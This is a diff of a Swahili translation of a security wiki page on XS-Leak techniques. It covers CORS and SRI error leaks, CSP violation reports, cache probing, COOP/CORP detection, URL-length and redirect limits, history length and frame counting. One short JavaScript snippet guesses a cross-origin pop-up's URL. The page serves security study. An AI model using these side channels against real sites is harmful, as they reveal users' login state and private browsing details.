Katika baadhi ya matukio, **kuingia kwa nextHopProtocol** kunaweza kutumika kama mbinu ya kuvuja. Katika GC, wakati kichwa cha **CORP** kimewekwa, nextHopProtocol itakuwa **tupu**. Kumbuka kwamba SA haitaunda kuingia kwa utendaji kwa rasilimali zilizo na CORP.
### Service Worker
@ -391,7 +391,7 @@ Katika baadhi ya matukio, **kipengee cha nextHopProtocol** kinaweza kutumika kam
- **Summary:** Gundua ikiwa huduma ya kazi imeandikishwa kwa asili maalum.
- **Code Example**:
Huduma za kazi ni muktadha wa skripti unaotendwa kwa asili. Zinakimbia katika nyuma ya ukurasa wa wavuti na zinaweza kukamata, kubadilisha, na **kuficha rasilimali** ili kuunda programu za wavuti zisizo na mtandao.\
Huduma za kazi ni muktadha wa skripti unaotegemea matukio ambayo yanafanya kazi katika asili. Zinakimbia katika mandharinyuma ya ukurasa wa wavuti na zinaweza kuingilia, kubadilisha, na **kuficha rasilimali** ili kuunda programu za wavuti zisizo na mtandao.\
Ikiwa **rasilimali iliyofichwa** na **huduma ya kazi** inafikiwa kupitia **iframe**, rasilimali hiyo itakuwa **imepakuliwa kutoka kwenye cache ya huduma ya kazi**.\
Ili kugundua ikiwa rasilimali hiyo ilipakuliwa kutoka kwenye cache ya huduma ya kazi, **Performance API** inaweza kutumika.\
Hii inaweza pia kufanywa kwa shambulizi la Timing (angalia karatasi kwa maelezo zaidi).
@ -477,20 +477,20 @@ The `MediaError` interface's message property uniquely identifies resources that
- **Inclusion Methods**: Fetch API
- **Detectable Difference**: Header
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.3)
- **Summary:** Katika Security Assertions (SA), ujumbe wa kosa la CORS bila kukusudia unafichua URL kamili ya maombi yaliyorejelewa.
- **Summary:** Katika Madai ya Usalama (SA), ujumbe wa kosa la CORS bila kukusudia unafichua URL kamili ya maombi yaliyorejelewa.
- **Code Example**: [https://xsinator.com/testing.html#CORS%20Error%20Leak](https://xsinator.com/testing.html#CORS%20Error%20Leak)
Hii mbinu inamuwezesha mshambuliaji **kuchukua eneo la kuhamasisha la tovuti ya cross-origin** kwa kutumia jinsi vivinjari vya Webkit vinavyoshughulikia maombi ya CORS. Kwa hakika, wakati **ombwe la CORS** linatumwa kwa tovuti lengwa inayotoa uhamasishaji kulingana na hali ya mtumiaji na kivinjari kinakataa ombi hilo, **URL kamili ya lengo la uhamasishaji** inafichuliwa ndani ya ujumbe wa kosa. Uthibitisho huu sio tu unafichua ukweli wa uhamasishaji bali pia unafichua mwisho wa uhamasishaji na **parameta za uchunguzi za siri** ambazo zinaweza kuwa nazo.
Hii mbinu inamuwezesha mshambuliaji **kuchukua eneo la kuhamasisha la tovuti ya cross-origin** kwa kutumia jinsi vivinjari vya Webkit vinavyoshughulikia maombi ya CORS. Kwa hakika, wakati **ombwe la CORS** linatumwa kwa tovuti lengwa ambayo inatoa uhamasishaji kulingana na hali ya mtumiaji na kivinjari kinakataa ombi hilo, **URL kamili ya lengo la uhamasishaji** inafichuliwa ndani ya ujumbe wa kosa. Uthibitisho huu sio tu unafichua ukweli wa uhamasishaji bali pia unafichua mwisho wa uhamasishaji na **parameta za swali za nyeti** ambazo zinaweza kuwa nazo.
### SRI Error
- **Inclusion Methods**: Fetch API
- **Detectable Difference**: Header
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.3)
- **Summary:** Katika Security Assertions (SA), ujumbe wa kosa la CORS bila kukusudia unafichua URL kamili ya maombi yaliyorejelewa.
- **Summary:** Katika Madai ya Usalama (SA), ujumbe wa kosa la CORS bila kukusudia unafichua URL kamili ya maombi yaliyorejelewa.
- **Code Example**: [https://xsinator.com/testing.html#SRI%20Error%20Leak](https://xsinator.com/testing.html#SRI%20Error%20Leak)
Mshambuliaji anaweza kutumia **ujumbe wa kosa wa kina** ili kubaini ukubwa wa majibu ya cross-origin. Hii inawezekana kutokana na mfumo wa Subresource Integrity (SRI), ambao unatumia sifa ya uaminifu kuthibitisha kwamba rasilimali zilizopatikana, mara nyingi kutoka CDNs, hazijaharibiwa. Ili SRI ifanye kazi kwenye rasilimali za cross-origin, hizi lazima ziwe **CORS-enabled**; vinginevyo, haziko chini ya ukaguzi wa uaminifu. Katika Security Assertions (SA), kama vile kosa la CORS XS-Leak, ujumbe wa kosa unaweza kukamatwa baada ya ombi la fetch lililokuwa na sifa ya uaminifu kushindwa. Wavamizi wanaweza kwa makusudi **kuanzisha kosa hili** kwa kupewa **thamani ya hash isiyo sahihi** kwa sifa ya uaminifu ya ombi lolote. Katika SA, ujumbe wa kosa unaotokana bila kukusudia unafichua urefu wa maudhui ya rasilimali iliyohitajika. Uvujaji huu wa taarifa unamuwezesha mshambuliaji kubaini tofauti katika ukubwa wa majibu, na kuweka njia kwa mashambulizi ya kisasa ya XS-Leak.
Mshambuliaji anaweza kutumia **ujumbe wa kosa wa kina** ili kubaini ukubwa wa majibu ya cross-origin. Hii inawezekana kutokana na mfumo wa Uaminifu wa Rasilimali Ndogo (SRI), ambayo inatumia sifa ya uaminifu kuthibitisha kwamba rasilimali zilizopatikana, mara nyingi kutoka kwa CDNs, hazijaharibiwa. Ili SRI ifanye kazi kwenye rasilimali za cross-origin, hizi lazima ziwe **CORS-enabled**; vinginevyo, haziko chini ya ukaguzi wa uaminifu. Katika Madai ya Usalama (SA), kama vile kosa la CORS XS-Leak, ujumbe wa kosa unaweza kukamatwa baada ya ombi la fetch lililokuwa na sifa ya uaminifu kushindwa. Wavamizi wanaweza kwa makusudi **kuanzisha kosa hili** kwa kupewa **thamani ya hash isiyo sahihi** kwa sifa ya uaminifu ya ombi lolote. Katika SA, ujumbe wa kosa unaotokana bila kukusudia unafichua urefu wa maudhui ya rasilimali iliyohitajika. Kuanguka kwa taarifa hii kunamuwezesha mshambuliaji kubaini tofauti katika ukubwa wa majibu, na kuweka njia kwa mashambulizi ya kisasa ya XS-Leak.
### CSP Violation/Detection
@ -500,7 +500,7 @@ Mshambuliaji anaweza kutumia **ujumbe wa kosa wa kina** ili kubaini ukubwa wa ma
- **Summary:** Kuruhusu tovuti ya wahanga pekee katika CSP ikiwa tumeipata inajaribu kuhamasisha kwenye kikoa tofauti CSP itasababisha kosa linaloweza kugundulika.
- **Code Example**: [https://xsinator.com/testing.html#CSP%20Violation%20Leak](https://xsinator.com/testing.html#CSP%20Violation%20Leak), [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation)
XS-Leak inaweza kutumia CSP kugundua ikiwa tovuti ya cross-origin ilihamishwa kwa asili tofauti. Uvujaji huu unaweza kugundua uhamasishaji, lakini pia, kikoa cha lengo la uhamasishaji kinavuja. Wazo la msingi la shambulio hili ni **kuruhusu kikoa lengwa kwenye tovuti ya mshambuliaji**. Mara ombi linapotolewa kwa kikoa lengwa, linahamasisha kwa kikoa cha cross-origin. **CSP inazuia** ufikiaji wake na kuunda **ripoti ya ukiukaji inayotumika kama mbinu ya uvujaji**. Kulingana na kivinjari, **ripoti hii inaweza kuvuja eneo la lengo la uhamasishaji**.\
XS-Leak inaweza kutumia CSP kugundua ikiwa tovuti ya cross-origin ilihamishwa kwa kikoa tofauti. Uthibitisho huu unaweza kugundua uhamasishaji, lakini pia, kikoa cha lengo la uhamasishaji kinavuja. Wazo la msingi la shambulio hili ni **kuruhusu kikoa lengwa kwenye tovuti ya mshambuliaji**. Mara tu ombi linapotolewa kwa kikoa lengwa, linahamasisha kwenye kikoa cha cross-origin. **CSP inazuia** ufikiaji wake na kuunda **ripoti ya ukiukaji inayotumika kama mbinu ya kuvuja**. Kulingana na kivinjari, **ripoti hii inaweza kuvuja eneo la lengo la uhamasishaji**.\
Vivinjari vya kisasa havitafichua URL ambayo ilihamishwa, lakini bado unaweza kugundua kwamba uhamasishaji wa cross-origin ulianzishwa.
### Cache
@ -513,7 +513,7 @@ Vivinjari vya kisasa havitafichua URL ambayo ilihamishwa, lakini bado unaweza ku
Vivinjari vinaweza kutumia cache moja iliyoshirikiwa kwa tovuti zote. Bila kujali asili yao, inawezekana kubaini ikiwa ukurasa wa lengo ume **omba faili maalum**.
Ikiwa ukurasa unaload picha tu ikiwa mtumiaji ameingia, unaweza **kubatilisha** **rasilimali** (hivyo haipo tena kwenye cache ikiwa ilikuwa, angalia viungo vya maelezo zaidi), **fanya ombi** ambalo linaweza kupakia rasilimali hiyo na kujaribu kupakia rasilimali hiyo **kwa ombi mbaya** (kwa mfano, kutumia kichwa cha referer kilichozidi). Ikiwa rasilimali ilipakia **haikuchochea kosa lolote**, ni kwa sababu ilikuwa **cached**.
Ikiwa ukurasa unaload picha tu ikiwa mtumiaji amejiandikisha, unaweza **kubatilisha** **rasilimali** (hivyo haipo tena kwenye cache ikiwa ilikuwa, angalia viungo vya maelezo zaidi), **fanya ombi** ambalo linaweza kupakia rasilimali hiyo na kujaribu kupakia rasilimali hiyo **kwa ombi mbaya** (kwa mfano, kutumia kichwa cha referer kilichozidi). Ikiwa rasilimali ilipakia **haikuletea kosa lolote**, ni kwa sababu ilikuwa **cached**.
### CSP Directive
@ -523,7 +523,7 @@ Ikiwa ukurasa unaload picha tu ikiwa mtumiaji ameingia, unaweza **kubatilisha**
- **Summary:** Miongozo ya kichwa cha CSP inaweza kuchunguzwa kwa kutumia sifa ya iframe ya CSP, ikifichua maelezo ya sera.
- **Code Example**: [https://xsinator.com/testing.html#CSP%20Directive%20Leak](https://xsinator.com/testing.html#CSP%20Directive%20Leak)
Kipengele kipya katika Google Chrome (GC) kinaruhusu kurasa za wavuti **kupendekeza Sera ya Usalama wa Maudhui (CSP)** kwa kuweka sifa kwenye kipengele cha iframe, huku miongozo ya sera ikitolewa pamoja na ombi la HTTP. Kawaida, maudhui yaliyoingizwa lazima **yathibitishe hili kupitia kichwa cha HTTP**, au **ukurasa wa kosa unaonyeshwa**. Hata hivyo, ikiwa iframe tayari inasimamiwa na CSP na sera iliyopendekezwa mpya si kali zaidi, ukurasa utafunguka kawaida. Mfumo huu unafungua njia kwa mshambuliaji **gundua miongozo maalum ya CSP** ya ukurasa wa cross-origin kwa kutambua ukurasa wa kosa. Ingawa udhaifu huu ulitambuliwa kama umerekebishwa, matokeo yetu yanaonyesha **mbinu mpya ya uvujaji** inayoweza kugundua ukurasa wa kosa, ikionyesha kwamba tatizo la msingi halikushughulikiwa kikamilifu.
Kipengele kipya katika Google Chrome (GC) kinaruhusu kurasa za wavuti **kupendekeza Sera ya Usalama wa Maudhui (CSP)** kwa kuweka sifa kwenye kipengele cha iframe, huku miongozo ya sera ikitolewa pamoja na ombi la HTTP. Kawaida, maudhui yaliyoingizwa lazima **yathibitishwe kupitia kichwa cha HTTP**, au **ukurasa wa kosa unaonyeshwa**. Hata hivyo, ikiwa iframe tayari inasimamiwa na CSP na sera iliyopendekezwa mpya si kali zaidi, ukurasa utafunguka kawaida. Mfumo huu unafungua njia kwa mshambuliaji **gundua miongozo maalum ya CSP** ya ukurasa wa cross-origin kwa kutambua ukurasa wa kosa. Ingawa udhaifu huu ulitambuliwa kama umerekebishwa, matokeo yetu yanaonyesha **mbinu mpya ya kuvuja** inayoweza kugundua ukurasa wa kosa, ikionyesha kwamba tatizo la msingi halikushughulikiwa kikamilifu.
### **CORP**
@ -533,7 +533,7 @@ Kipengele kipya katika Google Chrome (GC) kinaruhusu kurasa za wavuti **kupendek
- **Summary:** Rasilimali zilizolindwa na Sera ya Rasilimali za Cross-Origin (CORP) zitatupa kosa wakati zinapojaribiwa kutoka kwa asili isiyoruhusiwa.
- **Code Example**: [https://xsinator.com/testing.html#CORP%20Leak](https://xsinator.com/testing.html#CORP%20Leak)
Kichwa cha CORP ni kipengele kipya cha usalama wa jukwaa la wavuti ambacho kinapowekwa **kinazuia maombi ya cross-origin yasiyo na cors kwa rasilimali iliyotolewa**. Uwepo wa kichwa hiki unaweza kugunduliwa, kwa sababu rasilimali iliyo na ulinzi wa CORP itatoa **kosa wakati inajaribiwa**.
Kichwa cha CORP ni kipengele kipya cha usalama wa jukwaa la wavuti ambacho kinapowekwa **kinazuia maombi ya cross-origin yasiyo na cors kwa rasilimali iliyotolewa**. Uwepo wa kichwa hiki unaweza kugundulika, kwa sababu rasilimali iliyo na CORP itatoa **kosa wakati inajaribiwa**.
### CORB
@ -550,10 +550,10 @@ Angalia kiungo kwa maelezo zaidi kuhusu shambulio.
- **Inclusion Methods**: Fetch API
- **Detectable Difference**: Headers
- **More info**: [https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration](https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration)
- **Summary**: Ikiwa kichwa cha Origin kinarejelewa katika kichwa `Access-Control-Allow-Origin` inawezekana kuangalia ikiwa rasilimali ipo kwenye cache tayari.
- **Summary**: Ikiwa kichwa cha Origin kinarejelewa katika kichwa `Access-Control-Allow-Origin` inawezekana kuangalia ikiwa rasilimali iko kwenye cache tayari.
- **Code Example**: [https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration](https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration)
Katika hali ambapo **kichwa cha Origin** kinarejelewa katika kichwa `Access-Control-Allow-Origin`, mshambuliaji anaweza kutumia tabia hii kujaribu **kupata** **rasilimali** katika **CORS** mode. Ikiwa **kosa** **halijachochewa**, inamaanisha kwamba ilipatikana **kwa usahihi kutoka wavuti**, ikiwa kosa **limechochewa**, ni kwa sababu ilipatikana **kutoka kwenye cache** (kosa linaonekana kwa sababu cache inahifadhi jibu lenye kichwa cha CORS kinachoruhusu kikoa cha asili na si kikoa cha mshambuliaji)**.**\
Katika hali ambapo **kichwa cha Origin** kinarejelewa katika kichwa `Access-Control-Allow-Origin`, mshambuliaji anaweza kutumia tabia hii kujaribu **kupata** **rasilimali** katika **CORS** mode. Ikiwa **kosa** **halijazuiliwa**, inamaanisha kwamba ilipatikana **sahihi kutoka kwenye wavuti**, ikiwa kosa linazuiliwa, ni kwa sababu ilipatikana **kutoka kwenye cache** (kosa linaonekana kwa sababu cache inahifadhi jibu lenye kichwa cha CORS kinachoruhusu kikoa cha asili na si kikoa cha mshambuliaji).\
Kumbuka kwamba ikiwa asili haijarejelewa lakini wildcard inatumika (`Access-Control-Allow-Origin: *`) hii haitafanya kazi.
## Readable Attributes Technique
@ -563,7 +563,7 @@ Kumbuka kwamba ikiwa asili haijarejelewa lakini wildcard inatumika (`Access-Cont
- **Inclusion Methods**: Fetch API
- **Detectable Difference**: Status Code
- **More info**: [https://web-in-security.blogspot.com/2021/02/security-and-privacy-of-social-logins-part3.html](https://web-in-security.blogspot.com/2021/02/security-and-privacy-of-social-logins-part3.html)
- **Summary:** GC na SA zinaruhusu kuangalia aina ya majibu (opaque-redirect) baada ya uhamasishaji kukamilika.
- **Summary:** GC na SA huruhusu kuangalia aina ya majibu (opaque-redirect) baada ya uhamasishaji kukamilika.
- **Code Example**: [https://xsinator.com/testing.html#Fetch%20Redirect%20Leak](https://xsinator.com/testing.html#Fetch%20Redirect%20Leak)
Kuwasilisha ombi kwa kutumia Fetch API na `redirect: "manual"` na vigezo vingine, inawezekana kusoma sifa ya `response.type` na ikiwa ni sawa na `opaqueredirect` basi jibu lilikuwa uhamasishaji.
@ -576,7 +576,7 @@ Kuwasilisha ombi kwa kutumia Fetch API na `redirect: "manual"` na vigezo vingine
- **Summary:** Kurasa zilizolindwa na Sera ya Mfunguo wa Cross-Origin (COOP) zinazuia ufikiaji kutoka kwa mwingiliano wa cross-origin.
- **Code Example**: [https://xsinator.com/testing.html#COOP%20Leak](https://xsinator.com/testing.html#COOP%20Leak)
Mshambuliaji ana uwezo wa kubaini uwepo wa kichwa cha Sera ya Mfunguo wa Cross-Origin (COOP) katika jibu la HTTP la cross-origin. COOP inatumika na programu za wavuti kuzuia tovuti za nje kupata marejeleo ya dirisha yasiyo ya kawaida. Uwazi wa kichwa hiki unaweza kutambuliwa kwa kujaribu kufikia **`contentWindow` reference**. Katika hali ambapo COOP inatumika kwa masharti, **sifa ya `opener`** inakuwa kiashiria: ni **undefined** wakati COOP inafanya kazi, na **defined** katika ukosefu wake.
Mshambuliaji anaweza kubaini uwepo wa kichwa cha Sera ya Mfunguo wa Cross-Origin (COOP) katika jibu la HTTP la cross-origin. COOP inatumika na programu za wavuti kuzuia tovuti za nje kupata marejeleo ya dirisha yasiyo ya kawaida. Uwazi wa kichwa hiki unaweza kugundulika kwa kujaribu kufikia **`contentWindow` reference**. Katika hali ambapo COOP inatumika kwa masharti, **sifa ya `opener`** inakuwa kiashiria: ni **undefined** wakati COOP inatumika, na **imefafanuliwa** katika ukosefu wake.
### URL Max Length - Server Side
@ -586,10 +586,10 @@ Mshambuliaji ana uwezo wa kubaini uwepo wa kichwa cha Sera ya Mfunguo wa Cross-O
- **Summary:** Gundua tofauti katika majibu kwa sababu ya urefu wa jibu la uhamasishaji unaweza kuwa mrefu sana kiasi kwamba seva inajibu kwa kosa na tahadhari inaundwa.
- **Code Example**: [https://xsinator.com/testing.html#URL%20Max%20Length%20Leak](https://xsinator.com/testing.html#URL%20Max%20Length%20Leak)
Ikiwa uhamasishaji wa upande wa seva unatumia **ingizo la mtumiaji ndani ya uhamasishaji** na **data za ziada**. Inawezekana kugundua tabia hii kwa sababu kawaida **seva** zina **kikomo cha urefu wa ombi**. Ikiwa **data ya mtumiaji** ni hiyo **urefu - 1**, kwa sababu **uhamasishaji** unatumia **data hiyo** na **kuongeza** kitu **cha ziada**, itachochea **kosa linaloweza kugundulika kupitia Matukio ya Kosa**.
Ikiwa uhamasishaji wa upande wa seva unatumia **ingizo la mtumiaji ndani ya uhamasishaji** na **data za ziada**. Inawezekana kugundua tabia hii kwa sababu kawaida **seva** zina **kikomo cha urefu wa ombi**. Ikiwa **data ya mtumiaji** ni hiyo **urefu - 1**, kwa sababu **uhamasishaji** unatumia **data hiyo** na **kuongeza** kitu **cha ziada**, itasababisha **kosa linaloweza kugundulika kupitia Matukio ya Kosa**.
Ikiwa unaweza kwa namna fulani kuweka cookies kwa mtumiaji, unaweza pia kufanya shambulio hili kwa **kweka cookies za kutosha** ([**cookie bomb**](../hacking-with-cookies/cookie-bomb.md)) hivyo na **urefu wa jibu** wa **jibu sahihi** kosa linachochewa. Katika kesi hii, kumbuka kwamba ikiwa unachochea ombi hili kutoka tovuti moja, `<script>` itatuma cookies moja kwa moja (hivyo unaweza kuangalia makosa).\
Mfano wa **cookie bomb + XS-Search** unaweza kupatikana katika Suluhisho lililokusudiwa la andiko hili: [https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended)
Ikiwa unaweza kwa namna fulani kuweka cookies kwa mtumiaji, unaweza pia kufanya shambulio hili kwa **kweka cookies za kutosha** ([**cookie bomb**](../hacking-with-cookies/cookie-bomb.md)) hivyo na **urefu wa jibu** wa **jibu sahihi** kosa **linazuiliwa**. Katika kesi hii, kumbuka kwamba ikiwa unazindua ombi hili kutoka kwenye tovuti sawa, `<script>` itatuma cookies moja kwa moja (hivyo unaweza kuangalia makosa).\
Mfano wa **cookie bomb + XS-Search** unaweza kupatikana katika Suluhisho la Kutaka la andiko hili: [https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended)
`SameSite=None` au kuwa katika muktadha sawa kawaida inahitajika kwa aina hii ya shambulio.
@ -598,14 +598,14 @@ Mfano wa **cookie bomb + XS-Search** unaweza kupatikana katika Suluhisho lililok
- **Inclusion Methods**: Pop-ups
- **Detectable Difference**: Status Code / Content
- **More info**: [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit)
- **Summary:** Gundua tofauti katika majibu kwa sababu ya urefu wa jibu la uhamasishaji unaweza kuwa mrefu sana kwa ombi kwamba tofauti inaweza kuonekana.
- **Summary:** Gundua tofauti katika majibu kwa sababu ya urefu wa jibu la uhamasishaji unaweza kuwa mrefu sana kwa ombi kiasi kwamba tofauti inaweza kuonekana.
- **Code Example**: [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit)
Kulingana na [nyaraka za Chromium](https://chromium.googlesource.com/chromium/src/+/main/docs/security/url_display_guidelines/url_display_guidelines.md#URL-Length), urefu wa juu wa URL wa Chrome ni 2MB.
> Kwa ujumla, _jukwaa la wavuti_ halina mipaka juu ya urefu wa URLs (ingawa 2^31 ni kikomo cha kawaida). _Chrome_ inakadiria URLs hadi urefu wa **2MB** kwa sababu za vitendo na ili kuepuka kusababisha matatizo ya kukataa huduma katika mawasiliano ya kati ya mchakato.
> Kwa ujumla, _jukwaa la wavuti_ halina mipaka juu ya urefu wa URLs (ingawa 2^31 ni kikomo cha kawaida). _Chrome_ inakadiria URLs hadi urefu wa juu wa **2MB** kwa sababu za vitendo na ili kuepuka kusababisha matatizo ya kukataa huduma katika mawasiliano ya kati ya mchakato.
Hivyo ikiwa **URL ya uhamasishaji ilijibu ni kubwa katika moja ya kesi**, inawezekana kufanya iwe uhamasishaji na **URL kubwa zaidi ya 2MB** ili kufikia **kikomo cha urefu**. Wakati hii inatokea, Chrome inaonyesha ukurasa wa **`about:blank#blocked`**.
Hivyo ikiwa **URL ya uhamasishaji ilijibu ni kubwa katika moja ya kesi**, inawezekana kufanya uhamasishaji na **URL kubwa zaidi ya 2MB** ili kufikia **kikomo cha urefu**. Wakati hii inatokea, Chrome inaonyesha ukurasa wa **`about:blank#blocked`**.
Tofauti **inayoonekana**, ni kwamba ikiwa **uhamasishaji** ulikamilika, `window.origin` inatoa **kosa** kwa sababu asili ya cross-origin haiwezi kufikia taarifa hiyo. Hata hivyo, ikiwa **kikomo** kiligongwa na ukurasa ulio loaded ulikuwa **`about:blank#blocked`** asili ya **`origin`** inabaki kuwa ya **mzazi**, ambayo ni **taarifa inayoweza kufikiwa.**
@ -623,18 +623,18 @@ url-max-length-client-side.md
- **Summary:** Tumia kikomo cha uhamasishaji wa kivinjari kubaini kuwepo kwa uhamasishaji wa URL.
- **Code Example**: [https://xsinator.com/testing.html#Max%20Redirect%20Leak](https://xsinator.com/testing.html#Max%20Redirect%20Leak)
Ikiwa **idadi** ya **uhamasishaji** kufuata ya kivinjari ni **20**, mshambuliaji anaweza kujaribu kupakia ukurasa wake na **uhamasishaji 19** na hatimaye **kumpeleka mwathirika** kwenye ukurasa uliojaribiwa. Ikiwa **kosa** linachochewa, basi ukurasa ulikuwa unajaribu **kuhamasisha mwathirika**.
Ikiwa **idadi ya juu** ya **uhamasishaji** kufuata ya kivinjari ni **20**, mshambuliaji anaweza kujaribu kupakia ukurasa wake na **uhamasishaji 19** na hatimaye **kumtuma mwathirika** kwenye ukurasa uliojaribiwa. Ikiwa **kosa** linazuiliwa, basi ukurasa ulikuwa unajaribu **kuhamasisha mwathirika**.
### History Length
- **Inclusion Methods**: Frames, Pop-ups
- **Detectable Difference**: Redirects
- **More info**: [https://xsleaks.dev/docs/attacks/navigations/](https://xsleaks.dev/docs/attacks/navigations/)
- **Summary:** Msimbo wa JavaScript unashughulikia historia ya kivinjari na unaweza kufikiwa kupitia sifa ya urefu.
- **Summary:** Msimbo wa JavaScript unashughulikia historia ya kivinjari na unaweza kufikiwa kwa sifa ya urefu.
- **Code Example**: [https://xsinator.com/testing.html#History%20Length%20Leak](https://xsinator.com/testing.html#History%20Length%20Leak)
**API ya Historia** inaruhusu msimbo wa JavaScript kushughulikia historia ya kivinjari, ambayo **huhifadhi kurasa zilizotembelewa na mtumiaji**. Mshambuliaji anaweza kutumia sifa ya urefu kama njia ya kujumuisha: kugundua JavaScript na urambazaji wa HTML.\
**Kuangalia `history.length`**, kumfanya mtumiaji **kuhamasisha** kwenye ukurasa, **kubadilisha** tena **kwenye asili sawa** na **kuangalia** thamani mpya ya **`history.length`**.
**API ya Historia** inaruhusu msimbo wa JavaScript kushughulikia historia ya kivinjari, ambayo **huhifadhi kurasa zilizotembelewa na mtumiaji**. Mshambuliaji anaweza kutumia sifa ya urefu kama mbinu ya kujumuisha: kugundua JavaScript na urambazaji wa HTML.\
**Kuangalia `history.length`**, kumfanya mtumiaji **kuhamasisha** kwenye ukurasa, **kubadilisha** tena **kurudi** kwenye asili sawa na **kuangalia** thamani mpya ya **`history.length`**.
### History Length with same URL
@ -643,7 +643,7 @@ Ikiwa **idadi** ya **uhamasishaji** kufuata ya kivinjari ni **20**, mshambuliaji
- **Summary:** Inawezekana kukisia ikiwa eneo la frame/pop-up liko katika URL maalum kwa kutumia urefu wa historia.
- **Code Example**: Chini
Mshambuliaji anaweza kutumia msimbo wa JavaScript **kushughulikia eneo la frame/pop-up kwa URL iliyokisiwa** na **haraka** **kuibadilisha kuwa `about:blank`**. Ikiwa urefu wa historia umeongezeka inamaanisha URL ilikuwa sahihi na ilikuwa na muda wa **kuongezeka kwa sababu URL haiwezi kupakuliwa ikiwa ni sawa**. Ikiwa haikuongezeka inamaanisha ilijaribu kupakia URL iliyokisiwa lakini kwa sababu tulipakia **`about:blank`** mara moja, **urefu wa historia haukuongezeka** wakati wa kupakia URL iliyokisiwa.
Mshambuliaji anaweza kutumia msimbo wa JavaScript **kushughulikia eneo la frame/pop-up kwa URL iliyokisiwa** na **haraka** **kuibadilisha kuwa `about:blank`**. Ikiwa urefu wa historia umeongezeka inamaanisha URL ilikuwa sahihi na ilikuwa na muda wa **kuongezeka kwa sababu URL haijareload ikiwa ni sawa**. Ikiwa haikuongezeka inamaanisha ilijaribu kupakia URL iliyokisiwa lakini kwa sababu sisi **haraka baada** kupakia **`about:blank`**, **urefu wa historia haukuongezeka** wakati wa kupakia URL iliyokisiwa.
```javascript
async function debug(win, url) {
win.location = url + "#aaa"
@ -670,7 +670,7 @@ console.log(await debug(win, "https://example.com/?a=b"))
- **Code Example**: [https://xsinator.com/testing.html#Frame%20Count%20Leak](https://xsinator.com/testing.html#Frame%20Count%20Leak)
Kuhesabu **idadi ya frames katika wavuti** iliyofunguliwa kupitia `iframe` au `window.open` kunaweza kusaidia kubaini **hali ya mtumiaji juu ya ukurasa huo**.\
Zaidi ya hayo, ikiwa ukurasa una idadi ile ile ya frames kila wakati, kuangalia **kuendelea** idadi ya frames kunaweza kusaidia kubaini **mwelekeo** ambao unaweza kuvuja taarifa.
Zaidi ya hayo, ikiwa ukurasa una idadi ile ile ya frames kila wakati, kuangalia **bila kukoma** idadi ya frames kunaweza kusaidia kubaini **mwelekeo** ambao unaweza kuvuja taarifa.
Mfano wa mbinu hii ni kwamba katika chrome, **PDF** inaweza **kutambuliwa** kwa **kuhesabu frames** kwa sababu `embed` inatumika ndani. Kuna [Open URL Parameters](https://bugs.chromium.org/p/chromium/issues/detail?id=64309#c113) ambazo zinatoa udhibiti fulani juu ya maudhui kama vile `zoom`, `view`, `page`, `toolbar` ambapo mbinu hii inaweza kuwa ya kuvutia.
@ -682,14 +682,14 @@ Mfano wa mbinu hii ni kwamba katika chrome, **PDF** inaweza **kutambuliwa** kwa
- **Summary:** Soma thamani iliyovuja ili kutofautisha kati ya hali 2 zinazowezekana
- **Code Example**: [https://xsleaks.dev/docs/attacks/element-leaks/](https://xsleaks.dev/docs/attacks/element-leaks/), [https://xsinator.com/testing.html#Media%20Dimensions%20Leak](https://xsinator.com/testing.html#Media%20Dimensions%20Leak), [https://xsinator.com/testing.html#Media%20Duration%20Leak](https://xsinator.com/testing.html#Media%20Duration%20Leak)
Kuvuja kwa taarifa kupitia vipengele vya HTML ni wasiwasi katika usalama wa wavuti, hasa wakati faili za media za kidinamik zinaundwa kulingana na taarifa za mtumiaji, au wakati alama za maji zinaongezwa, kubadilisha ukubwa wa media. Hii inaweza kutumiwa na washambuliaji kutofautisha kati ya hali zinazowezekana kwa kuchambua taarifa zinazofichuliwa na vipengele fulani vya HTML.
Uvujaji wa taarifa kupitia vipengele vya HTML ni wasiwasi katika usalama wa wavuti, hasa wakati faili za media za kidinamik zinaundwa kulingana na taarifa za mtumiaji, au wakati alama za maji zinapoongezwa, kubadilisha ukubwa wa media. Hii inaweza kutumiwa na washambuliaji kutofautisha kati ya hali zinazowezekana kwa kuchambua taarifa zinazofichuliwa na vipengele fulani vya HTML.
### Information Exposed by HTML Elements
- **HTMLMediaElement**: Kipengele hiki kinaonyesha `duration` na `buffered` za media, ambazo zinaweza kufikiwa kupitia API yake. [Read more about HTMLMediaElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLMediaElement)
- **HTMLMediaElement**: Kipengele hiki kinafichua `duration` na `buffered` za media, ambazo zinaweza kufikiwa kupitia API yake. [Read more about HTMLMediaElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLMediaElement)
- **HTMLVideoElement**: Inafichua `videoHeight` na `videoWidth`. Katika baadhi ya vivinjari, mali za ziada kama `webkitVideoDecodedByteCount`, `webkitAudioDecodedByteCount`, na `webkitDecodedFrameCount` zinapatikana, zikitoa taarifa zaidi kuhusu maudhui ya media. [Read more about HTMLVideoElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLVideoElement)
